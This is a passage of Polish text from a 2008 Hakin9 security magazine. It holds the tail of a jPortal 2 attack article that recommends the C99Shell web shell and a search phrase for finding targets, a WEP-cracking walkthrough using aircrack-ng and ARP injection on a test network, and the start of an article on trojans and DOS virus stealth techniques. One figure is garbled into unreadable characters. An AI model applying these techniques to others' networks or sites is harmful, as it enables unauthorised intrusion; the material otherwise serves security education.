Obsługa PHPShella jest bardzo prosta. Mamy do
dyspozycji wiele jego odmian – osobiście polecam
C99Shell, gdyż posiada najszerszą funkcjonalność.
Podsumowanie
Artykuł ukazuje, że nawet bez znajomości
zaawansowanych technik hakerskich zwykły
użytkownik może dokonać udanego ataku na
witrynę. Potencjalnie podatnych stron w Internecie jest
wiele. Wystarczy wpisać w wyszukiwarce: Powered by
jPortal 2.
Myślę, że administratorzy, którzy używają jPortal
2, po przeczytaniu artykułu podejmą odpowiednie
kroki mające na celu zabezpieczenie swojego
systemu.
Artur Czyż
Od 6 lat interesuje się bezpieczeństwem Sieci.
Kontakt z autorem: blackgeocities@wp.pl
20
HAKIN9
ATAK
4/2008
W
ielu użytkowników komputerów
decydujących się na zbudowanie
domowej sieci bezprzewodowej po
dokonaniu zakupu odpowiednich urządzeń po
prostu wyciąga je z pudełka i podłącza, bez
wnikliwego – zapewniającego odpowiedni poziom
bezpieczeństwa – procesu konfiguracji. Taka forma
tworzenia sieci jest bardzo szybka, wygodna i
bezstresowa, lecz niestety, naraża użytkowników
na ataki. Dobrze, jeśli zakupione urządzenia
posiadają zaimplementowane najnowsze
rozwiązania bezpieczeństwa, jednak nie możemy
raczej na to liczyć nabywając sprzęt z dolnej półki
cenowej. Znaczna grupa urządzeń do łączności
bezprzewodowej w paśmie 2.4GHz wykorzystuje
szyfrowane protokoły transmisji. Jednym z takich
protokołów jest WEP – Wired Equivalent Privacy.
Zapewnia on szyfrowanie transmisji oparte o
algorytm RC4 z długościami kluczy 64 i 128 bitów.
Spotyka się także rozwiązania z kluczami o długości
256 bitów, jednak długość klucza nie wpływa w
tym przypadku na poprawę bezpieczeństwa. W
każdym kluczu 24 bity przeznaczone są na wektor
inicjujący (ang. Initialization Vector – IV), który jest
wysyłany w każdej ramce. Prawdziwa wartość
kluczy WEP to zatem 40 i 104 bity. Algorytm RC4
jest dość powszechnie używany , możemy znaleźć
jego implementacje w SSL, SSH czy w popularnym
protokole BitTorrent.
W roku 2001 Scott Fluhrer, Itsik Mantin oraz
Adi Shamir opublikowali analizę algorytmu RC4 i
wskazali możliwy sposób jego złamania. Wówczas
GRZEGORZ BŁOŃSKI
Z ARTYKUŁU
DOWIESZ SIĘ
co to jest WEP,
jak wygląda atak na WEP,
jak złamać WEP przy pomocy
ataku PTW.
CO POWINIENEŚ
WIEDZIEĆ
umieć zainstalować
i skonfigurować kartę WiFi,
znać system Linux i sposób
pracy w konsoli.
do złamania hasła potrzeba było przechwycić od 4
do 6 milionów pakietów danych. Atak wykorzystujący
techniki przez nich opisane określano mianem
ataku FMS. Nieco później – w roku 2004 – haker
KoReK udoskonalił atak na WEP, zmniejszając liczbę
wymaganych pakietów do wartości z przedziału od
500 tysięcy do 2 milionów. Andreas Klein w roku
2005 opublikował swoją własną analizę algorytmu
RC4, w której opisał teoretyczną możliwość złamania
hasła z 50-procentowym prawdopodobieństwem
po zebraniu tylko 40 tysięcy pakietów. W roku 2007
trzech naukowców z Politechniki w Darmstadt,
wykorzystując analizę Kleina, dokonało ataku
przechwytując pakiety i jednocześnie wykonując
wstrzykiwanie pakietów ARP w celu zwiększenia
wydajności i szybkości ataku. Od pierwszych liter ich
nazwisk powstała nazwa ataku – PTW. Ci naukowcy
to Erik Tews, Andrei Pychkine oraz Ralf-Philipp
Weinmann.
Schemat ataku
Postaram się przedstawić schemat ataku na
algorytm WEP w możliwie prosty sposób.
Wykorzystam do tego celu
schemat zamieszczony w serwisie
www.wirelessdefence.org, który przetłumaczyłem
na potrzeby tego artykułu za zgodą
administratora wspomnianego serwisu – Matta
Byrne'a.
Schemat ten jest bardzo typowy dla
przypadku ataku na sieć zabezpieczoną
przy pomocy WEP. Jak widać na Rysunku 1.
Stopień trudności
Hakowanie
WiFi
W obecnych czasach sieci bezprzewodowe są tak popularne
że praktycznie w każdym skupisku ludzkim można je znaleźć.W
miastach oraz na wsiach ludzie korzystają z przeróżnego rodzaju
sieci w tym także bezprzewodowych. Łączność radiowa pomiędzy
komputerami jest bardzo użytecznym i wygodnym rozwiązaniem
lecz czy wystarczająco bezpiecznym?
21
HAKIN9
SCHEMAT ATAKU NA WEP
4/2008
schemat działania atakującego jest
nieskomplikowany.
Opisując poszczególne etapy ataku,
postaram się przedstawić potencjalne
możliwości przeciwdziałania takim
praktykom.
Na potrzeby niniejszego artykułu
stworzyłem sieć testową opartą o punkt
dostępowy w postaci routera WAP54G
firmy Linksys oraz kartę klienta sieci GN-
WBKG firmy Gigabyte. Ataku dokonywałem
za pomocą komputera wyposażonego
w kartę EW-7318USg firmy Edimax przy
wykorzystaniu programu Aircrack-ng w
wersji 0.9.1.
W konfiguracji routera znalazło
się 10-znakowe hasło WEP w wersji
64-bit (89402aab1c), brak jest tabeli
dopuszczalnych adresów MAC
(gdyż często spotyka się właśnie
takie konfiguracje), zostało włączone
rozgłaszanie ESSID – testap, oraz
zdefiniowany kanał pracy 11. Tryb pracy
routera to Infrastruktura.
Pierwszą fazą ataku jest nasłuch
sieci bezprzewodowych, który prowadzi
do ustalenia, jakiego rodzaju sieci
znajdują się w zasięgu atakującego.
Przy wykorzystaniu odpowiednich kart
sieciowych z możliwością podłączenia
zewnętrznych anten kierunkowych
o dużym zysku, nasłuch może być
prowadzony na bardzo duże odległości,
dochodzące nawet do kilku kilometrów.
Do nasłuchiwania sieci używałem
graficznej wersji dobrze znanego
programu Kismet. Gkismet – bo tak
nazywa się wersja graficzna – nie
jest bardziej funkcjonalna niż wersja
pracująca w konsoli.
Jak widać na Rysunku 2. program
odnalazł mój punkt dostępowy testap
oraz jego BSSID, odczytał maksymalny
transfer, kanał pracy, tryb pracy AP,
szyfrowanie WEP – czyli całkiem sporo
informacji zaledwie po krótkiej chwili
działania programu. Od pierwszej fazy
ataku zależy bardzo wiele, zatem należy
wykonywać ją z dużą dokładnością i
starannością.
W tym momencie należy zauważyć
że administrator sieci bezprzewodowej
może uniknąć wykrycia jego sieci jeśli
ograniczy moc urządzeń radiowych do
niezbędnego minimum pozwalającego na
korzystanie z tej sieci oraz zastosuje anteny
Rysunek 1.
Schemat ataku na WEP
�����������������
��������������
��������������������������������������
��������������
���
���
�����������������
�����������������
����
������������
������������
�������������
������
���
���
������������
�������������
��������
�����������
�����������
������
���
���
��������������
���������������
���������������
�������
�����������
��������������
���
���
������������
�������������
����������������
��������
��������������
��������������
����������������
����������
���
���
���������������
�������������
�����������������
����������������
����������
����������������
�������������������
�������������������������
���������������
���������������
������
���
����������
��������
�������
���
���������������
���������������
��������������
����������������������������������
�������������������
����������������������������������������������
�����������
ATAK
22
HAKIN9 4/2008
SCHEMAT ATAKU NA WEP
23
HAKIN9
4/2008
zawężające pole emisji sygnałów do
obszaru w którym ma działać sieć. Często
ta możliwość jest pomijana już na wstępie
konfigurowania sieci bezprzewodowej i
ułatwia przeprowadzenie ataku.
W czasie prowadzenia nasłuchu
atakujący zbiera podstawowe informacje
o sieciach takie jak ESSID , BSSID , kanał
na jakim pracują , siła sygnału sieci.
Potencjalny atakujący może nasłuchiwać
przez długi okres czasu chcąc zdobyć
informacje o klientach podłączających się
do danej sieci czy konkretnego punktu
dostępowego.
W przypadku sieci z jednym punktem
dostępowym AP zupełnie niecelowe jest
stosowanie ciągu ESSID, ponieważ z
założenia jest on potrzebny do komunikacji
między punktami dostępowymi w sieciach
bardziej rozbudowanych.
BSSID będący adresem MAC punktu
dostępowego także nie powinien być
rozgłaszany w sieci, jeśli nie ma takiej
potrzeby i jest możliwość wyłączenia jego
rozgłaszania.
Po przechwyceniu przynajmniej
jednego pakietu zawierającego dane
atakujący próbuje złamać klucz przy
pomocy narzędzia do aktywnego ataku
słownikowego o nazwie wepattack.
Program dostępny jest pod adresem
http://wepattack.sourceforge.net. W
tym momencie pora na drobną uwagę
dotyczącą źródeł programu. Podczas
kompilacji programu wystąpił u mnie błąd
(Listing 1.)
Jak się okazuje, w pliku Makefile
znajduje się błąd w linii 24. Linia wygląda
tak :
$(LD) $(LDFLAGS) -o $@ wepattack.
o rc4.o wepfilter.o log.o\
a powinna wyglądać tak :
$(LD) $(LDFLAGS) -o $@ wepattack.
o rc4.o wepfilter.o log.o \
(brakuje jednego znaku spacji przed
znakiem podziału linii). Po poprawieniu
błędu program kompiluje się i działa
bez problemu. Niestety, w przypadku
hasła, które zdefiniowałem w mojej sieci
testowej, użycie programu wepattack
jest bezcelowe i nie może zakończyć się
złamaniem hasła.
Przy wykorzystaniu dużej bazy słów atak
tego typu ma duże szanse powodzenia
– ale tylko w przypadku hasła prostego,
będącego wyrazem, który jest powszechnie
używany.
Jeśli jednak nie uda się przechwycić
żadnego pakietu, atakujący korzysta z
możliwości ataku poprzez wstrzykiwanie
pakietów ARP w celu zwiększenia ilości
pakietów wysyłanych przez AP, które
następnie są przechwytywane.
Atak wstrzykiwania pakietów
wykonywany jest przy pomocy programu
aireplay-ng z parametrem -3 .Jak widać
na Rysunku 3. podczas wstrzykiwania
pakietów program wyświetla ilość pakietów
wysyłanych w ciągu sekundy (wartość
pps
).
W Sieci:
• http://www.aircrack-ng.org,
• http://wirelessdefence.org,
• http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw,
• http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html,
• http://eprint.iacr.org/2007/120.pdf,
• http://www.kismetwireless.net,
• http://gkismet.sourceforge.net.
Rysunek 2.
Gkismet – graficzna wersja Kismet
Rysunek 3.
Aireplay-ng podczas ataku wstrzykiwania ARP
Listing 1.
Błąd podczas kompilacji
gcc
-
o
wepattack
wepattack
.
o
rc4
.
o
wepfilter
.
o
log
.
o
\
modes
.
o
misc
.
o
verify
.
o
keygen
.
o
-
lpcap
-
lz
-
lcrypto
gcc
:
log
.
omodes
.
o
:
Nie
ma
takiego
pliku
ani
katalogu
make
:
***
[
wepattack
]
B
łą
d
1
ATAK
22
HAKIN9 4/2008
SCHEMAT ATAKU NA WEP
23
HAKIN9
4/2008
To dość istotny parametr, pozwalający
na skracanie czasu ataku. Maksymalna
wartość parametru to 1024, a definiuje
się ją przy pomocy przełącznika się
parametrem –[wartość].
Zmniejszenie szans powodzenia ataku
słownikowego na sieć zabezpieczoną przy
pomocy WEP może być osiągnięte dzięki
zdefiniowaniu odpowiednio długiego hasła.
Nie można wykorzystywać do jego budowy
znanych słów, a najlepiej, gdy jest to ciąg o
długości co najmniej dwunastu znaków.
W przypadku, gdy atakującemu uda się
złamać hasło, jego droga do podłączenia
się do sieci znacznie się skraca – co
widać na schemacie. Gdy jednak atak
słownikowy się nie powiedzie, atakujący
próbuje zebrać większą ilość pakietów w
celu wykorzystania ataku FMS lub PTW.
Do przeprowadzenia ataku FMS musi
on przechwycić stosunkowo dużą ilość
pakietów, często liczoną w milionach.
Jednak atak PTW pozwala na złamanie
hasła przy użyciu dużo mniejszej ilości
pakietów. Przy zebraniu 40.000 pakietów
szanse na złamanie hasła są pięćdziesięc
ioprocentowe. Przy ilości 80.000 pakietów
klucz jest łamany z prawie 100-procentową
skutecznością.
W tym miejscu warto wspomnieć,
że im dłuższe i bardziej skomplikowane
hasło, tym trudniej będzie je złamać.
Jednak technika PTW pozwala na bardzo
efektywne ataki, co sugeruje rezygnację z
wykorzystywania szyfrowania WEP w ogóle.
Po złamaniu hasła atakujący może już
mieć swobodny dostęp do sieci WLAN, jeśli
nie korzysta ona ze stałej tablicy adresów
MAC kart sieciowych.
W przypadku, gdy sieć korzysta z
takiej tablicy, atakującemu pozostaje
podsłuchiwanie stacji przyłączających się
do AP w celu ustalenia ich adresów MAC
i – po rozłączeniu się jednego z klientów
– skorzystanie z jego adresu MAC i
podłączenie się do sieci z innym adresem
IP (w sieciach bezprzewodowych nie
występuje problem konfliktu adresów IP).
Może jeszcze dojść kwestia zdefiniowania
adresu IP w przypadku, gdy w sieci nie
są one nadawane poprzez protokół
DHCP. Jak widać, droga od rozpoczęcia
nasłuchu do właściwego włamania do
sieci nie jest zbyt skomplikowana, choć
w zależności od przebiegu ataku może
być krótsza bądź dłuższa.
W sieci, którą przygotowałem
do testów, udało mi się złamać
dziesięcioznakowy klucz WEP 64-
bit po zebraniu tylko nieco ponad
5000 pakietów zawierających wektory
inicjujące. Posłużył mi do tego celu
atak PTW, przeprowadzony przy użyciu
programu aircrack-ng z ustawionym
parametrem –z. Było to ewidentnie dzieło
przypadku i szczęścia, ponieważ kolejne
próby przy różnych liczbach zebranych
pakietów nie pozwoliły na jego złamanie
– aż do zebrania ponad 40000 pakietów
zawierających wektory inicjalizacji.
Co ciekawe, program pracował tylko 43
sekundy, zanim znalazł hasło – co widać
na Rysunku 4. Jeśli atakujący także będzie
miał trochę szczęścia, jego działania
przeciwko sieci WiFi mogą być bardzo
krótkie i – co bardziej niepokojące –
skuteczne, co w efekcie może doprowadzić
do kompromitacji naszej sieci.
Udany atak na szyfrowaną przy
pomocy WEP sieć bezprzewodową to
niestety już dziś kwestia czasu krótszego
niż minuta (w odpowiednich warunkach).
W związku z tym nawet WEP 256-bit, który
został zastosowany w urządzeniach tylko
niektórych producentów, nie podnosi
znacząco poziomu bezpieczeństwa.
Wydaje się, że jedynie stosowanie
równocześnie kilku rodzajów zabezpieczeń
jest nam w stanie dać choćby namiastkę
bezpieczeństwa – bo o zupełnym
bezpieczeństwie w przypadku sieci
bezprzewodowych niestety mówić nie
można.
W dzisiaj dostępnych urządzeniach
WiFi producenci implementują metody
szyfrowania takie, jak WPA w różnych
odmianach czy WPA2, które niwelują
słabe punkty szyfrowania WEP, operują na
kluczach o większej długości, pozwalając
na znacznie lepsze zabezpieczenie sieci
bezprzewodowej, jednak nie należy ufać
takim zabezpieczeniom bezgranicznie.
W przypadku, gdy administrator chce
zminimalizować możliwości ataku na
jego sieć, może to zrobić stosując różne
metody jednocześnie i zachowując kilka
podstawowych zasad bezpieczeństwa,
takich jak: autoryzacja użytkowników,
zarządzanie uprawnieniami
użytkowników czy monitorowanie
przesyłanych danych.
Podsumowanie
Sieci bezprzewodowe zagościły na
stałe w naszym otoczeniu. Jest cała
masa miejsc publicznych oferujących
bezprzewodowy dostęp do internetu.
Korzystamy z niego w domach, w
sieciach osiedlowych, a także w małych
firmach.
Zdarzają się także przypadki
wykorzystywania WiFi w dużych
firmach, gdy istnieje taka potrzeba.
Wiele osób budujących domowe
sieci bezprzewodowe podchodzi do
tego bardzo swobodnie, nie dbając
o bezpieczeństwo. Mimo tego, że
wielu producentów oferuje w swoich
urządzeniach znacznie silniejsze
zabezpieczenia, wiele osób zabezpiecza
swoje sieci korzystając jeszcze z
szyfrowania WEP, które – jak pokazuje
ten artykuł – jest bardzo podatne na
ataki. Do technologii dostępu radiowego
należy podchodzić z pewnym dystansem
odnosząc się do bezpieczeństwa, gdyż
– jak widać – nie jest z nim tak dobrze, jak
byśmy sobie tego życzyli.
Grzegorz Błoński
Autor z wykształcenia jest informatykiem,
certyfikowanym specjalistą IBM. Pracuje w dużej firmie
o zasięgu światowym. Zajmuje się administracją oraz
bezpieczeństwem sieciowym.
Kontakt z autorem: mancymonek@mancymonek.pl
Rysunek 4.
Złamany klucz WEP
24
HAKIN9
ATAK
4/2008
T
ekst częściowo nawiązuje do mojego cyklu
związanego z wirusami komputerowymi.
Nie jest to poradnik, jak napisać wirusa,
tylko artykuł je opisujący. Myślę jednak, że jego
lektura może być dobrym początkiem dla osób,
które chciałyby zająć się zawodowo wirusami
(np. uczestnicząc w tworzeniu oprogramowania
antywirusowego).
Koń trojański
– pierwsze spojrzenie
Z punktu widzenia zaatakowanego użytkownika, jest
to program, który – krótko mówiąc – siedzi sobie
w naszym komputerze, analizuje jego działanie i
pozwala na nieautoryzowany dostęp oraz zarządzanie
komputerem. Jednak takie pojęcie nic nam nie mówi
o specyfice tego rodzaju oprogramowania.
Według definicji podanej przez specjalistę od
wirusów, dr Alana Solomona, w pracy zatytułowanej
Wszystko o wirusach (All About Viruses) trojan to
program, który robi więcej, niż oczekuje od niego
użytkownik, a te dodatkowe zadania są z punktu
użytkownika niepotrzebne... Czym różni się zatem
wirus od trojana? Aktualnie różnice między jednym
a drugim zacierają się. Jednak wszystko zaczęło się
od celu: wirus miał być programem, który infekuje
dyski twarde, dyskietki, czy pliki. W swojej strukturze
miał zawierać kod który niszczy dane, pozwala
go uśpić – ale gdy nadejdzie pora zaatakować,
w mniejszym lub większym stopniu poprzez
dewastację systemu uprzykrzyć życie użytkownikowi.
Inaczej wygląda kwestia konia trojańskiego.
RAFAŁ PODSIADŁY
Z ARTYKUŁU
DOWIESZ SIĘ
gdzie szukać backdoorów,
na co zwracać uwagę pisząc
złośliwe oprogramowanie,
jak wykorzystywać malware do
ataku,
jak się przed nim chronić.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy elektroniki
cyfrowej,
posiadać umiejętność
programowania w asemblerze.
Termin ten pochodzi z Iliady Homera,
opisującej oblężenie Troi przez Greków. Grecy, po
wielu miesiącach bezskutecznych walk, pozornie
wycofali się, pozostawiając pod miastem wielkiego
drewnianego konia. Trojanie w akcie zwycięstwa
wprowadzili konia do wnętrza miasta jako łup
wojenny. W środku konia była ukryta grupa
żołnierzy, którzy w nocy otworzyli od wewnątrz
bramę miasta, umożliwiając w ten sposób
nieautoryzowane wtargnięcie armii greckiej.
Najpopularniejszym sposobem
rozpowszechniania koni trojańskich jest
umieszczanie w Internecie darmowego
oprogramowania, zawierającego ukrytą dodatkową
funkcjonalność. Użytkownicy sieci p2p są
narażeni na podobne działania, gdyż dopiero po
pobraniu pliku i jego przeskanowaniu programem
antywirusowym mogą ocenić zawartość pod
względem bezpieczeństwa. Infekcja następuje
Stopień trudności
Użytkownik
kontra wirusy
90% szkodliwego oprogramowania trafia do naszego komputera,
ponieważ nie przestrzegamy zasad bezpiecznego jego
użytkowania. Chciałbym w tym artykule przedstawić niektóre
techniki ataków, pokazać, w których miejscach ukrywają się
trojany.
Rysunek 1.
Wirusy
25
HAKIN9
KTO KIERUJE KOMPUTERAMI?
4/2008
najczęściej poprzez strony internetowe, które
są spreparowane tak, by instalowały złośliwe
oprogramowanie tuż po wejściu na stronę.
Zwykle mamy do czynienia z formą ataku
socjotechnicznego: któż z nas nie dostał
zaproszenia czy komunikatu – choćby na
GG – w rodzaju: Cześć, widziałam Cię na
fotce – super zdjęcia: www.(i tu następuje
adres złośliwej strony) lub innej podobnej
treści, zachęcającej do odwiedzenia
określonej strony WWW. Często podany
link odwołuje się do pliku z rozszerzeniem
exe. Użytkownik jest wtedy pytany, czy
uruchomić oprogramowanie i niejednokrotnie
myśli, iż otwiera po prostu przeglądarkę
internetową. A tymczasem uruchamia swoim
komputerze plik exe, zawierający szkodliwe
oprogramowanie.
Charakterystyka
wirusa i backdoora
Programiści do pisania wirusów w większości
przypadków wykorzystują czysty asembler.
Spowodowane jest to głównie specyfiką
kodu generowanego przez ten język, a
zwłaszcza jego zwięzłością. Kod maszynowy
szkieletowego programu, który z punktu
widzenia użytkownika nie robi nic, w językach
wysokiego poziomu zajmie od kilkuset
bajtów do kilku, a nawet kilkuset kilobajtów.
W asemblerze podobny program zajmie
od jednego (instrukcja RET w pliku COM)
do czterech bajtów (wywołanie funkcji
4Ch
przerwania 21h). Spowodowane jest to tym,
iż do każdego wygenerowanego przez siebie
programu kompilatory języków wysokiego
poziomu dodają standardowe prologi i epilogi,
niewidoczne dla piszącego w danym języku
programisty, które są odpowiedzialne m. in.
za obsługę błędów, stosu, operacje wejścia/
wyjścia itp. Można powiedzieć, że długość
programu wynikowego (rozumianego jako
kod maszynowy) jest wprost proporcjonalna
do poziomu języka programowania, w którym
został on napisany. Na korzyść asemblera
przemawia także fakt, iż z jego poziomu mamy
bardzo dużą swobodę w dostępie do pamięci
czy portów, a programista ma możliwość
świadomego wpływu na kształt powstałego
kodu, np. w zakresie używanych instrukcji czy
rozwiązań programowych.
Jak widać, programy napisane
w asemblerze są optymalne pod
względem szybkości działania i długości
kodu, a więc język ten jest jakby
stworzony do programowania wirusów.
Kod źródłowy trojana jest zwykle oparty
o język wyższego poziomu, np. C++ czy
Delphi – pozwala to na zbudowanie większej
liczby funkcji, służących do symulowania
nieszkodliwego, a nawet pożytecznego
dla użytkownika-ofiary oprogramowania,
w krótszym czasie. W treści kodu mogą
występować wstawki języka niższego
poziomu, przydatne w celu głębszego ukrycia
złośliwego fragmentu kodu, realizującego np.
infekcję kolejnych plików czy komputerów albo
proces klonowania programu.
Technika stealth
Wirusy komputerowe modyfikują pliki
i sektory, zmieniając ich zawartość (w
Struktury opisujące
Struktura bloku opisu pliku FCB (zwykłego)
• 00 – numer napędu (0=domyślny, 1=A, 2=B,...); jeżeli jest równy 0FFh,
to mamy do czynieia z rozszerzonym blokiem opisu pliku FCB,
• 01-08 – 8 bajtów nazwy pliku,
• 09-0B – 3 bajty rozszerzenia pliku,
• 0C-0D – numer aktualnego bloku,
• 0E-0F – długość logicznego rekordu,
• 10-13 – długość pliku,
• 14-15 – data ostatniej modyfikacji pliku,
• 16-17 – czas ostatniej modyfikacji pliku,
• 18 – ilość SFT (System File Table) dla pliku,
• 19 – atrybuty, znaczenie poszczególnych bitów przedstawiono
poniżej,
• bity 7-6:
• 00 – SHARE.EXE niezaładowany, plik dyskowy,
• 01 – SHARE.EXE niezaładowany, sterownik,
• 10 – SHARE.EXE załadowany, plik zdalny,
• 11 – SHARE.EXE załadowany, plik dyskowy lub sterownik,
• bity 5-0 to mniej znaczące 6 bitów ze słowa atrybutów urządzenia
1A-1F – zawartość zależna od bajtu 19, w zależności od wartości,
bitów 7-6 tego bajtu należy ją interpretować jako:
• wartość 11,
• 1A-1B – numer pierwszej JAP (jednostki alokacji) pliku,
• 1C-1D – określa numer rekordu w dostępie dzielonym,
• 1E – atrybuty pliku,
• 1F – nie używany,
• wartość 10:
• 1A-1B – uchwyt sieciowy,
• 1C-1F – identyfikator sieciowy,
• wartość 01:
• 1A-1D – wskaźnik do nagłówka sterownika
• 1E-1F – nie używane,
• wartość 00:
• 1A – bajt informacyjny,
• bit 7: – atrybut tytko do odczytu w SFT,
• bit 6: – atrybut archive w SFT,
• bity 5-0: – wyższe bity numeru sektora,
• 1B-1C – numer pierwszej JAP pliku,
• 1D-1F – niższe bity sektora zawierającego adres w katalogu,
• 1F – ilość pozycji katalogu w sektorze,
20 – bieżący rekord
21-24 – numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu
wynosi 64 bajty, bardziej znacząca część jest pomijana
Struktura bloku opisu pliku FCB (rozszerzonego)
• 00 – wartość 0FFh oznacza blok rozszerzony,
• 01-05 – zarezerwowane,
• 06 – atrybuty pliku,
• 07-2B – zwykły blok opisu FCB (patrz poprzednia tabela).
Struktura pola opisu pozycji katalogu
• 00-07 – nazwa pliku,
• 08-0A – rozszerzenie pliku,
• 0B – atrybuty pliku,
• 0C-15 – zarezerwowane,
• 16-17 – czas ostatniej modyfikacji pliku,
• 18-19 – data ostatniej modyfikacji pliku,
• 1A-1B – numer pierwszej JAP,
• 1C-1F – długość pliku.
ATAK
26
HAKIN9 4/2008
KTO KIERUJE KOMPUTERAMI?
27
HAKIN9
4/2008
przypadku plików zwykle powiększają
jeszcze ich długość). Teoretycznie więc,
aby wykryć wirusa, wystarczy odczytać
plik lub sektor i odnaleźć w nim, poprzez
operację skanowania, odpowiednią
sekwencję (sygnaturę) wirusa. I
rzeczywiście, metoda ta stosowana była
z dużym powodzeniem aż do momentu,
gdy pojawił się pierwszy wirus używający
techniki stealth.
Słowo stealth znaczy po angielsku
niewidzialny. Takimi właśnie wydają się
wirusy używające tej ciekawej sztuczki,
która polega na kontroli odpowiednich
funkcji systemu BIOS, obsługujących
pamięć i operacje dyskowe.
W momencie próby uzyskania
dowolnego rodzaju dostępu do
zainfekowanego pliku lub sektora
uruchamiane są mechanizmy
wirusa, które mają na celu oszukanie
użytkownika.
Oszustwo polega na tym, iż fizycznie
zarażony obiekt, po odpowiedniej obróbce
przez wirusa, wygląda, jakby był nie
zainfekowany. Różne odmiany techniki
stealth zostały omówione poniżej.
Podawanie
prawdziwych długości plików
Wirusy wykorzystujące tę technikę oszukują
system poprzez podawanie sfałszowanych,
prawidłowych długości zainfekowanych
plików, wyświetlanych po wykonaniu
polecenia DIR lub też w oknie programu
Menedżera okien – tak, aby zbiory
wyglądały na oryginalne.
Wyżej wymienione programy używają
do przeszukiwania zawartości katalogu
jednej z trzech par funkcji, z których
pierwsza poszukuje pierwszego, a druga
kolejnego wystąpienia w katalogu. Funkcje
te to (
11/12/21
), (
4E/4F/21
), (
714E/714F/
21
). Oszukujący system wirus przejmuje
kontrolę nad tymi funkcjami (niekoniecznie
nad wszystkimi) i monitoruje odpowiednie
pola struktur, na których operuje dana
funkcja. W momencie wykonywania jednej
z funkcji wirus wywołuje pierwotny program
obsługi przerwania, a następnie modyfikuje
elementy odpowiedniej struktury:
• pozycji katalogu (funkcje
11/12
),
• DTA – Disk Transfer Area (funkcje
4E/4F
),
• FindData (funkcje
714E/714F
).
Modyfikacja polega na odjęciu długości
wirusa od długości pliku opisywanej
w odpowiednim polu struktury oraz
– najczęściej – pewnej modyfikacji czasu
lub daty, odnoszących się do momentu
zainfekowania pliku.
Powyższe operacje wykonywane są
oczywiście tylko w przypadku obecności
wirusa w konkretnym pliku.
Polecenie DIR
wywoływane z poziomu DOS
Polecenie DIR używa do przeglądania
zawartości katalogu pary dwóch
przeznaczonych specjalnie do tego celu
funkcji (
11,12/21
). Obie funkcje korzystają z
najstarszej metody operowania na plikach,
a mianowicie z tzw. bloku opisu pliku FCB
(ang. File Control Block), podawanego
jako parametr wejściowy do funkcji oraz z
pola opisu pozycji katalogu, zwracanego
po jej bezbłędnym wykonaniu w buforze
DTA (ang. Disk Transfer Area), których opis
przedstawiono w kolejnych tabelach.
Podczas odwołań do struktury FCB
należy pamiętać, iż istnieją dwie wersje
opisu bloku FCB: zwykła i rozszerzona,
będąca rozwinięciem bloku zwykłego
(zawiera dodatkowe pola). Jeżeli pierwszy
bajt bloku jest równy 0FFh, mamy do
czynienia z rozszerzonym blokiem opisu
pliku. Adres DTA uzyskuje się za pomocą
funkcji (
2F/21
), która umieszcza go w
rejestrach ES:BX. Po powrocie z funkcji
wskazują one bezpośrednio na pole opisu
pozycji katalogu, w którym już bez przeszkód
można odpowiednio modyfikować pola
długości pliku (1C-1F) oraz czasu i daty
ostatniej modyfikacji (18-19 i 1A-1B).
Nakładki operujące na krótkich
nazwach plików (tzn. 8 znaków nazwy
i 3 znaki rozszerzenia) używają do
przeglądania katalogu funkcji (
4E
,
4F/21
).
Wynik wywołania tych funkcji zwracany
jest w buforze DTA, jednak format opisu
znalezionej pozycji katalogu jest inny niż
podczas wywoływania funkcji (
11,12/
21
). Nie zmienia się natomiast sam
sposób oszukiwania systemu. Po wykryciu
wywołania którejś z funkcji, należy najpierw
uruchomić ją za pomocą pierwotnego
programu obsługi, a następnie odczytać
adres bufora DTA i zmodyfikować
odpowiednie pola struktury.
Pola struktury DTA pokazano w Ramce.
Najważniejsze z nich to: długość pliku
Struktura DTA
• 00 – znaczenie poszczególnych bitów:
• bity 6-0 – numer napędu,
• bit 7 – jeśli jest ustawiony, oznacza plik zdalny,
• 01-0B – szablon poszukiwanych pozycji katalogu,
• 0C – atrybuty poszukiwanej pozycji,
• 0D-0E – numer pozycji w katalogu,
• 0F-10 – numer JAP katalogu nadrzędnego,
• 11-14 – zarezerwowane,
• 15 – atrybut znalezionej pozycji katalogu,
• 16-17 – czas ostatniej modyfikacji znalezionej pozycji katalogu,
• 18-19 – data ostatniej modyfikacji znalezionej pozycji katalogu,
• 1A-1D – długość znalezionej pozycji katalogu,
• 1E-2A – nazwa i rozszerzenie pliku.
Struktura FindData
• 00-03 – atrybuty pliku:
• bity 0-6 – standardowe atrybuty plików DOS,
• bit 7 – plik tymczasowy (temporary),
• 04-0B – czas i data utworzenia pliku,
• 0C-13 – czas i data ostatniego dostępu do pliku,
• 14-1B – czas i data ostatniej modyfikacji pliku,
• 1C-1F – długość pliku (bardziej znaczące 32 bity),
• 20-23 – długość pliku (mniej znaczące 32 bity),
• 24-2B – zarezerwowane,
• 2C-12F – 260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ),
• 130-13D – 14-bajtowe pole krótkiej nazwy pliku (jako ASCIIZ).
ATAK
26
HAKIN9 4/2008
KTO KIERUJE KOMPUTERAMI?
27
HAKIN9
4/2008
(adres 1A-1D) oraz czas i data ostatniej
modyfikacji (adresy 16-17 i 18-19).
Wraz z pojawieniem się systemu
Windows 95 wprowadzono tzw.
długie nazwy plików, którymi
zastąpiono dotychczas używane
(jedenastoznakowe). Mechanizm obsługi
długich nazw plików jest dostępny
wyłącznie wtedy, gdy aktywny jest system
Windows oraz gdy zainstalowany jest tzw.
Menedżer IFS.
Za obsługę długich nazw plików
odpowiedzialna jest w systemie DOS
funkcja (714E/21), gdzie 4E oznacza
numer podfunkcji przekazywanej
w rejestrze AL – za pomocą takich
podfunkcji zdublowano funkcje
(z dokładnością do numerów)
operujące na plikach, a dostępne we
wcześniejszych wersjach systemu
DOS. Za przeszukiwanie zawartości
katalogu są więc odpowiedzialne dwie
podfunkcje (
714E,714F/21
), operujące na
wprowadzonej wraz z systemem Windows
95 strukturze o nazwie FindData.
Opisane funkcje są wykorzystywane
m. in. przez polecenie DIR wywoływane
w oknie Tryb MS-DOS (w systemie
Windows 95).
Aby umożliwić różnym aplikacjom
działającym w 32-bitowym środowisku
graficznym obsługę długich nazw plików,
ale bez konieczności odwoływania się
do funkcji 16-bitowego systemu DOS,
Windows 95 udostępnia analogicznie
działające funkcje poprzez tzw. API (ang.
Application Program Interface), stanowiące
odpowiednik przerwania 21h dla systemu
DOS. Kod większości funkcji systemowych
dostępnych przez API zawarty jest w
pliku KERNEL32.DLL, będącym częścią
